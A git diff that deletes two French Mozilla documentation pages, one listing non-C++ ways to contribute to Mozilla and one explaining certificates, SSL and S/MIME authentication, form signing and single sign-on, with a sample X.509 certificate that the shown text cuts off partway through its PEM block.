diff --git a/files/fr/introduction_(alternative)/index.html b/files/fr/introduction_(alternative)/index.html deleted file mode 100644 index a8a6f99467..0000000000 --- a/files/fr/introduction_(alternative)/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Introduction (alternative) -slug: Introduction_(alternative) -translation_of: Mozilla/Developer_guide/Introduction -translation_of_original: Introduction_(alternate) ---- -

Bien que Firefox soit largement écrit en C++, il existe de très nombreuses manière de contribuer sans connaître C++.

-

Firefox/Thunderbird/etc.

-

Malgré que Firefox (et les autres produits Mozilla qui sont construits depuis la base de code Mozilla) sont écrits en C++, il y a de nombreux composants écrits dans d'autres languages :

-
    -
  • La façade, et beaucoup de fonctions sont écrites en HTML, CSS et JavaScript.
    • -
  • Le système de compilation est écrit en Make, shell et des éléments de Perl et Python.
    • -
  • Certains composants et librairies tierces (comme jemalloc par exemple) sont écrits en C, et non pas en C++.
    • -
  • De nombreux outils (comme les structures de tests) que nous utilisons sont écrits en Python et dans d'autres languages de haut niveau. Il y a de nombreuses choses que nous souhaiterions faire dans ce cadre mais qu'il est difficile de faire passer avant les fonctionnalités. Toutefois, nous aimerions réellement réaliser ces choses.
    • -
-

Pour trouver du travail sur ces bogues, suivez le guide principal. Presque toutes les étapes sont identiques, y compris comment trouver des bogues adaptés pour commencer et le système d'encadrement.

-

Sites Web

-

Mozilla possède plus d'une centaine d'outils et de sites, qui sont presque tous open-source. Nous avons un guide pour débuter avec les sites Web majeurs de Mozilla, ainsi qu'une liste presque à jour des projets de développement Web dans lesquels Mozilla est impliqué, et nous souhaitons améliorer cette liste bientôt. Utilisez cette liste pour trouver un projet qui vous intéresse, et savoir comment vous y impliquer.

-

Projets Github

-

La page github de Mozilla compte plus de 100 projets auxquels vous pouvez contribuer. Ces projets sont développés en utilisant les pratiques courantes de GitHub, donc faites votre branche et au boulot. Nous attendons vos demandes d'intégration ! Parmis ces projets, il y a beaucoup de projets à forte visibilité comme Jetpack, Chromeless, F1 et de nombreux autres.

-

Dépôts Mercurial de Mozilla

-

De nombreux projets Mozilla ont leur propre dépôt à hg.mozilla.org. Cela montre la hiérarchie entre les projets de Mozilla, ainsi que ceux qui sont maintenus (tous ne le sont pas). Parmis eux, il y a des zones critiques de Mozilla comme QA, RelEng, la localisation, webtools, les dépôts des développeurs majeurs, et plus.

-

D'autres manières de s'engager

-

Il existe beaucoup d'autres manières de contribuer à la mission de Mozilla sans programmer. Si vous souhaitez vous diriger vers le design, l'aide, la traduction, les tests ou d'autres types de contributions, rendez vous sur la page dédiées au volontariat.

diff --git "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" "b/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" deleted file mode 100644 index 0207687122..0000000000 --- "a/files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" +++ /dev/null @@ -1,395 +0,0 @@ ---- -title: Certificats et authentification -slug: >- - Introduction_à_la_cryptographie_à_clef_publique/Certificats_et_authentification -tags: - - Sécurité ---- -

Certificat identifiant une personne ou une entité

- -

Un certificat est un document électronique utilisé pour identifier un individu, un serveur, une entreprise ou toute autre entité et pour associer une clef publique à cette identité. Tout comme un permis de conduire, un passeport, ou tout autre moyen d'identification personnelle couramment utilisé, un certificat fournit généralement une preuve reconnue de l'identité de la personne. La cryptographie à clef publique utilise les certificats pour éviter les problèmes d'usurpation d'identité (voir Problèmes de sécurité sur Internet).

- -

Pour obtenir un permis de conduire, il faut s'inscrire dans une agence gouvernementale, telle que le Department of Motor Vehicles, qui vérifie votre identité, votre capacité à conduire, votre adresse, et d'autres information avant de délivrer le permis. Pour obtenir une carte d'étudiant, il faut s'adresser à une université ou une école, qui contrôle certaines informations (comme le paiement des frais d'inscription) avant de délivrer la carte d'étudiant. Pour obtenir une carte de bibliothèque, il faut uniquement fournir votre nom et une attestation de logement à vos nom et adresse.

- -

Les certificats fonctionnent sur les mêmes principes que ces différents documents d'identité. Les autorités de certification (AC ou CA) sont des entités qui valident les identités et émettent les certificats. Elles peuvent être des tierces-parties indépendantes ou des organisations possédant leur propre serveur d'émission de certificats (tel que Red Hat Certificate System). Les méthodes utilisées pour valider une identité varient selon les politiques d'émission d'une AC donnée — tout comme les méthodes de validation des autres formulaires d'identification varient selon les organismes d'émission et leurs domaines d'application. En général, avant d'émettre un certificat, une AC doit utiliser ses procédures de vérification publiées pour un type de certificat afin de s'assurer que l'entité demandant le certificat est bien celle qu'elle prétend être.

- -

Le certificat émis par l'AC lie une clef publique particulière au nom de l'entité qu'il identifie (tel qu'un nom d'employé ou de serveur). Les certificats aident à prévenir l'utilisation de fausses clefs publiques pour l'usurpation d'identité. Seule la clef publique certifiée dans le certificat fonctionnera avec la clef privée correspondante possédée par l'entité identifiée par le certificat.

- -

En plus de la clef publique, un certificat contient toujours le nom de l'entité qu'il identifie, une date d'expiration, le nom de son AC émettrice, un numéro de série et d'éventuelles autres informations utiles. Plus important, un certificat contient toujours la signature numérique de l'AC émettrice. La signature numérique de l'AC émettrice permet au certificat de fonctionner comme une lettre d'introduction pour les utilisateurs qui connaissent l'AC et lui font confiance mais qui ne connaissent pas l'entité identifiée par le certificat.

- -

Pour plus d'informations concernant le rôle des autorités de certification (AC), voir « Comment les certificats d'AC sont utilisés pour établir une relation de confiance ».

- -

L'authentification confirme une identité

- -

L'authentification est le processus de confirmation d'une identité. Dans le contexte d'interactions entre les réseaux, l'authentification comporte l'identification confiante d'une partie par une autre. L'authentification sur les réseaux peut avoir plusieurs formes. Les certificats sont un moyen d'authentification.

- -

Les interactions entre les réseaux se font généralement entre un client, tel que le navigateur d'un ordinateur personnel, et un serveur, tel que le matériel et le logiciel hébergeant un site Web. L'authentification cliente se réfère à l'identification confiante d'un client par un serveur (c'est-à-dire, l'identification de la personne supposée utiliser le logiciel client). L'authentification serveur se réfère à l'identification confiante d'un serveur par le client (c'est-à-dire, l'identification de l'organisation supposée être responsable du serveur à une adresse réseau particulière).

- -

Les authentifications cliente et serveur ne sont pas les seules formes d'authentification permises par les certificats. Par exemple, la signature numérique d'un courriel combinée au certificat identifiant l'expéditeur fournissent une forte preuve que la personne identifiée par le certificat a bien envoyé le message. De même, une signature numérique dans un formulaire HTML combinée à un certificat identifiant le signataire peut fournir une preuve, après coup, que la personne identifiée par le certificat est d'accord avec le contenu du formulaire. En plus de l'authentification, la signature numérique assure, dans les deux cas, un degré de non répudiation (c'est-à-dire que la signature numérique rend difficile la négation ultérieure par le signataire des informations présentes dans le message électronique ou le formulaire).

- -

L'authentification cliente est un élément essentiel de la sécurité réseau, sur les intranets ou les extranets. Les sections qui suivent présentes deux formes d'authentification cliente :

- -
    -
  • Authentification basée sur un mot de passe : Presque tous les serveurs permettent l'authentification cliente à l'aide d'un nom, ou pseudonyme, et d'un mot de passe. Par exemple, un serveur pour demander à un utilisateur de fournir un nom et un mot de passe avant de donner des droits d'accès à certaines parties du serveur. Le serveur maintient une liste des noms et des mots de passe ; si un nom particulier est dans cette liste, et que l'utilisateur fournit le bon mot de passe, le serveur donne des droit d'accès.
    • -
  • Authentification basée sur un certificat : L'authentification basée sur les certificats est une étape du protocole SSL. Le client signe numériquement des données générées aléatoirement et envoie à la fois ces données signées et le certificat sur le réseau. Le serveur utilise les techniques de cryptographie à clef publique pour valider la signature et confirmer la validité du certificat.
    • -
- -

L'authentification par mot de passe

- -

La figure 4 montre les étapes basiques mise en œuvre dans l'authentification d'un client à l'aide d'un nom et d'un mot de passe. Cette figure suppose que :

- -
    -
  • L'utilisateur a déjà décidé de faire confiance au serveur, sans authentification ou sur la base d'une authentification de serveur via SSL.
    • -
  • L'utilisateur a demandé une ressource contrôlée par le serveur.
    • -
  • Le serveur demande une authentification client avant de donner les droits d'accès aux ressources demandées.
    • -
- -

Figure 4. Utilisation d'un mot de passe pour authentifier un client auprès d'un serveur

- -

Voici les étapes décrites dans la figure 4 :

- -
    -
  1. En réponse à une demande d'authentification de la part du serveur, le client affiche une boîte de dialogue demandant le nom de l'utilisateur et son mot de passe pour accéder à ce serveur. L'utilisateur doit fournir séparément un nom et un mot de passe pour chaque nouveau serveur qu'il désire utiliser pendant sa session de travail.
    2. -
  2. Le client envoie le nom et le mot de passe par le réseau, en clair ou par une connexion SSL chiffrée.
    3. -
  3. Le serveur vérifie le nom et le mot de passe dans sa base de données locale et, s'ils correspondent, il les accepte comme preuves authentifiant l'identité de l'utilisateur.
    4. -
  4. Le serveur détermine si l'utilisateur est autorisé à accéder aux ressources demandées, et si oui, autorise le client à y accéder.
    5. -
- -

Avec cet arrangement, l'utilisateur doit fournir un mot de passe pour chaque serveur, et l'administrateur doit conserver les noms et les mots de passe de chaque utilisateur, généralement sur des serveurs distincts.

- -

Une implémentation propre ne mémorise pas les mots de passe en texte simple. À la place, il concatène le mot de passe avec une valeur aléatoire propre à chaque utilisateur (également appelée « salt ») et mémorise la valeur hachée du résultat avec le « salt ». Ceci rend plus difficile des attaques de force brute.

- -

Comme expliqué dans la section suivante, un des avantages de l'authentification par certificat est qu'elle peut être utilisée pour remplacer les trois premières étapes décrites à la figure 4 avec un mécanisme qui permet à l'utilisateur de fournir un seul mot de passe (qui n'est pas transmis à travers le réseau) et permet à l'administrateur de centraliser le contrôle de l'authentification des utilisateurs.

- -

L'authentification par certificat

- -

La figure 5 décrit le fonctionnement d'une authentification client à l'aide des certificats et du protocole SSL. Pour authentifier un utilisateur auprès d'un serveur, Le client signe numériquement des données générées aléatoirement et envoie à la fois ces données signées et le certificat sur le réseau. Pour les besoins de cette discussion, la signature numérique associée aux données signées peut être considérée comme une preuve fournie par le client au serveur. Le serveur authentifie l'identité de l'utilisateur en se basant sur la force de cette preuve.

- -

Comme pour la figure 4, la figure 5 suppose que l'utilisateur a déjà décidé de faire confiance au serveur et qu'il a demandé une ressource, et que le serveur a demandé une authentification client lors du processus d'évaluation des droits à accéder à la ressource demandée.

- -

Figure 5. Utilisation d'une authentification par certificat d'un client auprès d'un serveur

- -

Contrairement au processus décrit à la figure 4, celui de la figure 5 nécessite d'utiliser SSL. La figure 5 suppose également que le client possède un certificat valide qui peut être utilisé pour l'identifier auprès du serveur. L'authentification par certificat est généralement considérée comme préférable à l'authentification par mot de passe car elle est basée sur ce que l'utilisateur a (la clef privée) aussi bien que sur ce que l'utilisateur sait (le mot de passe qui protège cette clef privée). Cependant, il est important de remarquer que ces deux affirmations ne sont vraies que si aucune personne non autorisée n'a accès à l'ordinateur de l'utilisateur ou a son mot de passe, si le mot de passe de la base de données des clefs privées du logiciel client a été défini, et si le logiciel est paramétré pour demander le mot de passe à intervalles raisonnablement fréquents.

- -

Ni l'authentification par mot de passe, ni l'authentification par certificat ne répondent aux questions de sécurité soulevées par l'accès physique à l'ordinateur d'un individu ou à ses mots de passe. La cryptographie à clef publique peut uniquement vérifier qu'une clef privée utilisée pour signer des données, correspond à la clef publique présente dans un certificat. Il est de la responsabilité de l'utilisateur de protéger physiquement son ordinateur et de conserver secret le mot de passe de sa clef privée.

- -

Voici les étapes décrites dans la figure 5 :

- -
    -
  1. Le logiciel client, tel que le navigateur, maintient une base de données des clefs privées correspondantes aux clefs publiques publiées avec tous les certificats émis pour ce client. Le client demande le mot de passe de cette base de données la première fois qu'il a besoin d'y accéder lors d'une session donnée — par exemple, la première fois que l'utilisateur essaie d'accéder à un serveur SSL qui requiert une authentification par certificat. Après avoir renseigné une première fois ce mot de passe, l'utilisateur n'en a plus besoin pour la durée de la session, même en accédant à d'autres serveurs SSL.
    2. -
  2. Le client débloque la base de données des clefs privées, récupère la clef privée du certificat de l'utilisateur et utilise cette clef privée pour signer numériquement des données générées aléatoirement dans ce but en se basant sur des entrées du client et du serveur. Ces données et la signature numérique constituent une « preuve » de la validité de la clef privée. La signature numérique peut uniquement être créée avec la clef privée et peut être validée par la clef publique associée aux données signées, ce qui est réservé à la session SSL.
    3. -
  3. Le client envoie le certificat de l'utilisateur et la preuve (les données générées aléatoirement signées numériquement) par le réseau.
    4. -
  4. Le serveur utilise le certificat et la preuve pour authentifier l'identité de l'utilisateur (pour plus de détails sur ce fonctionnement, voir « Introduction à SSL »).
    5. -
  5. À ce moment, le serveur peut éventuellement exécuter des tâches d'authentification supplémentaires, comme vérifier si le certificat présenté par le client est stocké dans l'entrée de l'utilisateur d'un annuaire LDAP. Le serveur continue alors à évaluer si l'utilisateur identifié est autorisé ou non à accéder à la ressource demandée. Ce processus d'évaluation peut employer une variété de mécanismes standards d'autorisation, en utilisant éventuellement des informations présentes dans un annuaire LDAP, des bases de données d'entreprises, etc. Si le résultat de l'évaluation est positif, le serveur autorise le client à accéder à la ressource demandée.
    6. -
- -

Comme on peut le voir en comparant les figures 4 et 5, les certificats remplacent la portion de l'authentification correspondant à l'interaction entre le client et le serveur. Plutôt que de demander à l'utilisateur d'envoyer des mots de passe par le réseau à longueur de journée, l'ouverture de session unique demande une seule fois à l'utilisateur de saisir son mot de passe de base de données de clefs privée, sans l'envoyer par le réseau. Pour la suite de la session, le client présente le certificat de l'utilisateur pour authentifier l'utilisateur auprès de chaque serveur auquel il se connecte. Les mécanismes d'autorisation existants basés sur l'authentification de l'identité du l'utilisateur ne sont pas concernés.

- -

Comment utiliser les certificats

- - - -

Types de certificats

- -

Cinq types de certificats sont couramment utilisé avec les produits Red Hat :

- -
    -
  • Certificats de client SSL : Utilisés pour identifier des client auprès de serveurs via SSL (authentification client). Généralement, l'identité du client est présumée être la même que celle d'un être humain, tel qu'un employé dans une entreprise. Voir L'authentification par certificat, pour une description de la façon dont les certificats d'un client SSL sont utilisés pour l'authentification client. Les certificats d'un client SSL peuvent également être utilisés pour la signature de formulaires et comme composante d'une solution de l'ouverture de session unique.
    • -
- -
-
Exemples 
-
Une banque donne un certificat client SSL à l'un de ses usagers qui lui permet de s'identifier auprès du serveur de la banque et d'accéder à ses comptes. Une compagnie peut donner un certificat client SSL à l'un de ses nouveaux employés qui lui permet de s'identifier auprès du serveur de l'entreprise et d'obtenir accès aux ressources disponibles sur ce serveur.
-
- -
    -
  • Certificats de serveur SSL : Utilisé pour identifier les serveurs auprès des client via SSL (authentification serveur). L'authentification serveur peut être utilisée avec ou sans authentification client. L'authentification serveur est obligatoire lors de l'établissement d'une connexion SSL chiffrée. Pour plus d'informations, voir Le protocole SSL.
    • -
- -
-
Exemple 
-
Les sites internet de commerce électronique (communément appelé e-commerce) supportent habituellement l'authentification serveur par certificat, au minimum, pour établir une session SSL chiffrée et assure les clients qu'ils traitent avec un site identifié comme étant celui d'une entreprise donnée. La session SSL assure que les informations personnelles renseignées par le client et transmises par le réseau, telles que son numéro de carte de crédit, ne seront pas aisément interceptées.
-
- -
    -
  • Certificats S/MIME : Utilisés pour signer et chiffrer les courriels. Comme pour les certificats client SSL, l'identité du client est généralement présumé être la même que celle d'un être humain, tel qu'un employé d'une entreprise. Un certificat unique peut être utilisé comme certificat S/MIME et comme certificat SSL (voir Messages signés et chiffrés). Les certificats S/MIME peuvent également être utilisés pour la signature de formulaires et comme composante d'une solution de l'ouverture de session unique.
    • -
- -
-
Exemples 
-
Une entreprise déploie des certificats combinés S/MIME et SSL dans l'unique but d'authentifier l'identité des employés, permettant ainsi la signature de messages et l'authentification de client SSL, mais pas le chiffrage des messages. Une autre entreprise émet des certificats S/MIME uniquement dans le but de signer et de chiffrer les messages de natures financière ou légale qu'elle envoie.
-
- -
    -
  • Certificats de signature d'objet : Utilisés pour identifier les signataires de code Java, de scripts JavaScript, ou d'autres fichiers signés. Pour plus d'informations, voir Signature d'objets.
    • -
- -
-
Exemple 
-
Une entreprise de logiciel signe les logiciels qu'elle distribue par Internet pour fournir l'assurance à ses utilisateurs que le logiciel est un produit légitime. L'utilisation des certificats et des signatures numériques de cette façon peut également servir pour que les utilisateurs identifient et contrôlent l'accès à leurs ordinateurs des logiciels téléchargés.
-
- -
    -
  • Certificats d'AC : Utilisés pour identifier les autorités de certification (AC). Les logiciels client et serveur utilisent les certificats d'AC pour déterminer quelles autres certifications peuvent être de confiance. Pour plus d'informations, voir Utilisation des certificats d'AC pour établir la confiance.
    • -
- -
-
Exemple 
-
Les certificats d'AC stockés dans Communicator déterminent quels autres certificats peuvent être utilisés pour l'authentification. Un administrateur peut implémenter certains aspects de la politique de sécurité de son entreprise en contrôlant les certificats d'AC stockés dans les Communicator de chaque utilisateur.
-
- -

Les sections ci-dessous décrivent l'utilisation des certificats dans les produits Red Hat.

- -

Le protocole SSL

- -

Le protocole Secure Sockets Layer (SSL) est un ensemble de règles gouvernant l'authentification serveur, l'authentification client et les communications encryptées entre des serveurs et des clients. SSL est largement utilisé sur Internet, particulièrement pour les interactions mettant en œuvre l'échange d'informations confidentielles telles que les numéros de cartes de crédit.

- -

SSL requiert un certificat SSL serveur, au minimum. Comme partie du processus de négociation, le serveur présente son certificat au client afin d'authentifier son identité. Le processus d'authentification utilise le chiffrement par clef privée et les signatures numériques pour confirmer que ce serveur est bien celui-ci qu'il prétend être. Une fois le serveur authentifié, le client et le serveur utilisent des techniques de chiffrement à clefs symétriques, ce qui est rapide, pour chiffrer toutes les informations qu'ils échangent pour le reste de la session et pour détecter toutes tentatives d'altération des données qui peuvent arriver.

- -

Les serveurs peuvent éventuellement être configurés pour demander l'authentification client aussi bien que l'authentification serveur. Dans ce cas, après le succès de l'authentification serveur, le client doit à son tour présenter son certificat au serveur afin d'authentifier son identité avant qu'une connexion SSL ne puisse s'établir.

- -

Pour une présentation de l'authentification client avec SSL et ses différences par rapport à authentification par mot de passe, voir «  L'authentification confirme une identité ». Pour des informations plus détaillées à propos de SSL, voir « Introduction à SSL ».

- -

Messages signés et encryptés

- -

Certains logiciels de courriers électroniques (y compris Messenger, qui fait parti de Communicator) supportent les messages chiffrés et numériquement signés suivant un protocole largement accepté connu sous le nom de Secure Multipurpose Internet Mail Extension (S/MIME). L'utilisation de S/MIME pour signer et chiffrer des messages requiert que l'expéditeur possède un certificat S/MIME.

- -

Un message électronique qui comprend une signature numérique fournit l'assurance qu'il a bien été envoyé par la personne dont le nom apparaît dans l'en-tête du message, authentifiant ainsi l'expéditeur. Si la signature numérique ne peut pas être validée pour le courrieleur à la fin de la réception, l'utilisateur est alerté.

- -

La signature numérique est unique au message qu'elle accompagne. Si le message reçu diffère de quelque manière que se soit du message qui a été envoyé - même par l'ajout ou la suppression d'une virgule - la signature numérique ne peut pas être validée. Par conséquent un message signé fournit aussi une certaine assurance que les données qu'il contient n'ont pas été altérées. Comme on l'a vu au début de ce document, cette sorte d'assurance est connue sous le nom de non répudiation. En d'autres termes, lorsqu'un message est signé, il est très difficile à l'expéditeur de nier l'avoir envoyé. Ceci est capital pour de nombreuses formes de communications commerciales. Pour plus d'informations à propose du mécanisme de signature numérique, voir « Signatures numériques ».

- -

S/MIME rend également possible le chiffrement symétrique (chiffrement à clefs publiques) des messages électroniques. C'est aussi important pour certains utilisateur professionnels. Cependant, l'utilisation du chiffrement pour les messages requiert une gestion soigneuse. Si le destinataire des messages chiffrés perd sa clef et qu'il n'a pas de sauvegarde de la clef, par exemple, les messages chiffrés ne pourront jamais être déchiffrés.

- -

Signature de formulaire

- -

De nombreuses formes de e-commerce requièrent la possibilité de fournir une preuve persistante qu'une personne a autorisé une transaction. Bien que SSL fournisse une authentification cliente limitée à la durée de la connexion, il ne fournit pas d'authentification persistante pour les transactions pouvant intervenir pendant cette connexion SSL. S/MIME fournit une authentification persistante pour les messages électroniques, mais le e-commerce utilise souvent des formulaires dans des pages Web plutôt que l'échange de courriel.

- -

La technologie Red Hat connue sous le nom de signature de formulaire répond au besoin de l'authentification persistante des transactions financières. La signature de formulaire permet à un utilisateur d'associer une signature numérique avec les données Web générées comme résultat d'une transaction, telles qu'un ordre d'achat ou tout autre document financier. La clef privée associée avec soit le certificat SSL client, soit un certificat S/MIME peut être utilisée dans ce but.

- -

Lorsqu'un utilisateur clique sur le bouton « soumettre » d'un formulaire Web qui supporte la signature de formulaire, une boîte de dialogue affiche le texte exacte à signer. L'auteur du formulaire peut soit spécifier le certificat à utiliser soit sélectionner un certificat SSL ou S/MIME parmi ceux du client installés dans Communicator. Lorsque l'utilisateur clique sur « OK », le texte est signé et les deux (le texte et la signature numérique) sont envoyés au serveur. Le serveur peut alors utiliser un utilitaire Red Hat appelé Signature Verification Tool (Outil de Vérification de Signature) pour valider la signature numérique.

- -

Pour plus d'informations sur le support des signatures de formulaires dans les produits Red Hat, voir Red Hat Form Signing.

- -

Ouverture unique de session

- -

Les utilisateurs doivent souvent retenir plusieurs mots de passe pour les différents services qu'ils utilisent. Par exemple, un utilisateur peut devoir saisir des mots de passe différents pour accéder au réseau, collecter ses messages, accéder à un répertoire, utiliser le service d'agenda de son entreprise et accéder à une grande variété de serveurs. La multiplication des mots de passe devient vite un casse-tête pour les utilisateurs comme pour les administrateurs. Les utilisateurs ayant des difficultés à retenir leurs mots de passe ont tendances à en choisir de faible force et à les écrire dans des endroits accessibles. Les administrateurs doivent maintenir une base de données séparée de mot de passe sur chaque serveur et traiter des problèmes potentiels de sécurité liés au fait que des mots de passe sont envoyés sur le réseau par habitude et fréquemment.

- -

La solution à ce problème requiert un moyen pour l'utilisateur d'ouvrir une session unique, en utilisant un mot de passe unique, et d'obtenir un accès authentifié à toutes les ressources du réseau que l'utilisateur est autorisé à employer - sans envoyer aucun autre mot de passe. Cette possibilité est connue comme ouverture de session unique.

- -

Both client SSL certificates and S/MIME certificates can play a significant role in a

- -

Les  certificats clients SSL et S/MIME permettent tous deux d'implémenter une ouverture de session unique, voir "L'authentification par certificat" pour un exemple d'ouverture de session unique basée sur SSL.

- -

L'utilisateur se connecte à sa base de donnée locale de clé privée à l'aide d'un mot de passe. Puis utilise une clé privée pour signer ses messages et ainsi s'authentifier auprès de tous les serveurs nécessitant une authentification client SSL. Remarquez que dans ce processus le mot de passe n'est pas envoyé à travers le réseau. Cela simplifie l'accès du client au serveur d'une part et la gestion d'authentification côté serveur d'autre part. 

- -

En plus de l'utilisation des certificats, une solution d'ouverture de session unique complète doit être capable d'interopérer avec les systèmes d'entreprise, tels que les systèmes d'exploitation sous-jacents qui s'appuient sur les mots de passe ou toutes autres formes d'authentification.

- -

Signature d'objet

- -

Communicator supporte un ensemble d'outils et de technologies appelés signature d'objet. La signature d'objet utilise des techniques standard de cryptographie à clef publique pour permettre aux utilisateurs d'obtenir des informations fiables à propos du code qu'ils téléchargent de la même façon qu'ils peuvent obtenir des informations fiables à propos des logiciels prêt-à-installer.

- -

Plus important, la signature d'objet aide les utilisateurs et les administrateurs réseaux à prendre des décisions concernant les logiciels distribués par Internet ou intranet — par exemple, autoriser ou non les applets Java signés par une entité donnée à utiliser certaines fonctionnalités spécifiques d'un ordinateur.

- -

Les « objets » signés avec les technologies de signature d'objet peuvent être des applets ou tout autre code Java, scripts JavaScript, plugins, ou tout autre type de fichiers. La « signature » est une signature numérique. Les objets signés et leur signature sont généralement stockés dans une archive spéciale appelé archive JAR.

- -

Les développeurs de logiciels et toute personne désireuse de signer des fichiers à l'aide de cette technique doit tout d'abord obtenir un certificat de signature d'objet.

- -

Contenu d'un certificat

- -

Le contenu des certificats supportés par Red Hat et de nombreuses autres éditeurs de logiciels sont organisés selon la spécification de certificat X.509 v3, qui a été recommandée par l'International Telecommunications Union (ITU), une organisation de standardisation internationale, depuis 1988.

- -

Les utilisateurs n'ont généralement pas besoin de connaître le contenu exact d'un certificat. Cependant les administrateurs système travaillant avec les certificats peuvent avoir besoin de se familiariser avec les informations qu'il contient.

- -

Noms distincts

- -

Un certificat X.509 v3 relie un nom distinct (distinguished name ou DN en anglais) à une clef publique. Un DN est une série de paires nom-valeur, telle que uid=martin, qui identifie de façon unique une entité (qui est le « sujet » du certificat).

- -

Par exemple, voici ce que donnerait le DN typique d'un employé de Red Hat, Inc.:

- -
uid=martin,e=martin@exemple.net,cn=Jean Martin,o=Red Hat, Inc.,c=FR
-
- -

Les abréviation devant chaque signe égale « = » de cet exemple on les significations suivantes :

- -
    -
  • uid : ID utilisateur
    • -
  • e : adresse électronique
    • -
  • cn : le nom courant de l'utilisateur
    • -
  • o : organisation
    • -
  • c : pays
    • -
- -

Les DN peuvent inclure une grande variété d'autres paires nom-valeur. Elles sont utilisées pour identifier à la fois les sujets du certificat et les entrés dans les annuaires qui supportent LDAP (Lightweight Directory Access Protocol).

- -

Les règles régissant la construction des DN peuvent parfois être complexes et ne font pas parties de l'objectif de ce document. Pour de plus amples informations à propos des DN, voir A String Representation of Distinguished Names (en).

- -

Un certificat typique

- -

Chaque certificat de type X.509 comprend deux sections :

- -
    -
  • La section données inclut les informations suivantes : - -
      -
    • Le numéro de version du standard X.509 supporté par le certificat.
      • -
    • Le numéro de série du certificat. Chaque certificat émis par une autorité de certification (AC) a un numéro de série unique parmi les certificats émis par cette AC.
      • -
    • Informations
      • -
    • Informations concernant la clef publique de l'utilisateur, comprenant l'algorithme utilisé et une représentation de la clef elle-même.
      • -
    • Le DN de l'AC émettrice du certificat.
      • -
    • La période de validité du certificat (par exemple, entre le 15 novembre 1999 à 13 h 00 et le 15 novembre 2000 à 13 h 00).
      • -
    • Le DN du sujet du certificat (par exemple, dans un certificat client SSL, le DN de l'utilisateur), également appelé le nom du sujet.
      • -
    • Des extensions de certificat optionnelles, pouvant fournir des données supplémentaires utilisées par le client ou le serveur. Par exemple, l'extension de certificat type indique le type auquel appartient le certificat : un certificat client SSL, un certificat serveur SSL, un certificat de signature de message, etc. Les extensions de certificat peuvent également être utilisées pour d'autres raisons.
      • -
    -
    • -
  • La section signature inclut les informations suivantes : -
      -
    • L'algorithme de cryptographie, ou chiffrement, utilisé par l'AC émettrice pour créer sa propre signature numérique. Pour plus d'informations à propos des chiffrements, voir "Introduction à SSL."
      • -
    • La signature numérique de l'AC, obtenue par le hachage de toutes les données contenues dans le certificat et chiffrée avec la clef privée de l'AC.
      • -
    -
    • -
- -

Voici les sections de données et de signature d'un certificat dans un format lisible par un être humain :

- -
Certificate:
-Data:
- Version: v3 (0x2)
- Serial Number: 3 (0x3)
- Signature Algorithm: PKCS #1 MD5 With RSA Encryption
- Issuer: OU=Ace Certificate Authority, O=Ace Industry, C=US
- Validity:
-  Not Before: Fri Oct 17 18:36:25 1997
-  Not  After: Sun Oct 17 18:36:25 1999
- Subject: CN=Jane Doe, OU=Finance, O=Ace Industry, C=US
- Subject Public Key Info:
-  Algorithm: PKCS #1 RSA Encryption
-  Public Key:
-   Modulus:
-    00:ca:fa:79:98:8f:19:f8:d7:de:e4:49:80:48:e6:2a:2a:86:
-    ed:27:40:4d:86:b3:05:c0:01:bb:50:15:c9:de:dc:85:19:22:
-    43:7d:45:6d:71:4e:17:3d:f0:36:4b:5b:7f:a8:51:a3:a1:00:
-    98:ce:7f:47:50:2c:93:36:7c:01:6e:cb:89:06:41:72:b5:e9:
-    73:49:38:76:ef:b6:8f:ac:49:bb:63:0f:9b:ff:16:2a:e3:0e:
-    9d:3b:af:ce:9a:3e:48:65:de:96:61:d5:0a:11:2a:a2:80:b0:
-    7d:d8:99:cb:0c:99:34:c9:ab:25:06:a8:31:ad:8c:4b:aa:54:
-    91:f4:15
-   Public Exponent: 65537 (0x10001)
-  Extensions:
-   Identifier: Certificate Type
-    Critical: no
-    Certified Usage:
-     SSL Client
-   Identifier: Authority Key Identifier
-    Critical: no
-    Key Identifier:
-     f2:f2:06:59:90:18:47:51:f5:89:33:5a:31:7a:e6:5c:fb:36:
-     26:c9
-  Signature:
-   Algorithm: PKCS #1 MD5 With RSA Encryption
-   Signature:
-    6d:23:af:f3:d3:b6:7a:df:90:df:cd:7e:18:6c:01:69:8e:54:65:fc:06:
-    30:43:34:d1:63:1f:06:7d:c3:40:a8:2a:82:c1:a4:83:2a:fb:2e:8f:fb:
-    f0:6d:ff:75:a3:78:f7:52:47:46:62:97:1d:d9:c6:11:0a:02:a2:e0:cc:
-    2a:75:6c:8b:b6:9b:87:00:7d:7c:84:76:79:ba:f8:b4:d2:62:58:c3:c5:
-    b6:c1:43:ac:63:44:42:fd:af:c8:0f:2f:38:85:6d:d6:59:e8:41:42:a5:
-    4a:e5:26:38:ff:32:78:a1:38:f1:ed:dc:0d:31:d1:b0:6d:67:e9:46:a8:
-    d:c4
-
- -

Voici le même certificat affiché au format d'encodage 64 bytes interprété par un logiciel :

- -
 -----BEGIN CERTIFICATE-----
- MIICKzCCAZSgAwIBAgIBAzANBgkqhkiG9w0BAQQFADA3MQswCQYDVQQGEwJVUzER
- MA8GA1UEChMITmV0c2NhcGUxFTATBgNVBAsTDFN1cHJpeWEncyBDQTAeFw05NzEw
- MTgwMTM2MjVaFw05OTEwMTgwMTM2MjVaMEgxCzAJBgNVBAYTAlVTMREwDwYDVQQK
- EwhOZXRzY2FwZTENMAsGA1UECxMEUHViczEXMBUGA1UEAxMOU3Vwcml5YSBTaGV0
- dHkwgZ8wDQYJKoZIhvcNAQEFBQADgY0AMIGJAoGBAMr6eZiPGfjX3uRJgEjmKiqG
- 7SdATYazBcABu1AVyd7chRkiQ31FbXFOGD3wNktbf6hRo6EAmM5/R1AskzZ8AW7L
- iQZBcrXpc0k4du+2Q6xJu2MPm/8WKuMOnTuvzpo+SGXelmHVChEqooCwfdiZywyZ
- NMmrJgaoMa2MS6pUkfQVAgMBAAGjNjA0MBEGCWCGSAGG+EIBAQQEAwIAgDAfBgNV
- HSMEGDAWgBTy8gZZkBhHUfWJM1oxeuZc+zYmyTANBgkqhkiG9w0BAQQFAAOBgQBt
- I6/z07Z635DfzX4XbAFpjlRl/AYwQzTSYx8GfcNAqCqCwaSDKvsuj/vwbf91o3j3
- UkdGYpcd2cYRCgKi4MwqdWyLtpuHAH18hHZ5uvi00mJYw8W2wUOsY0RC/a/IDy84
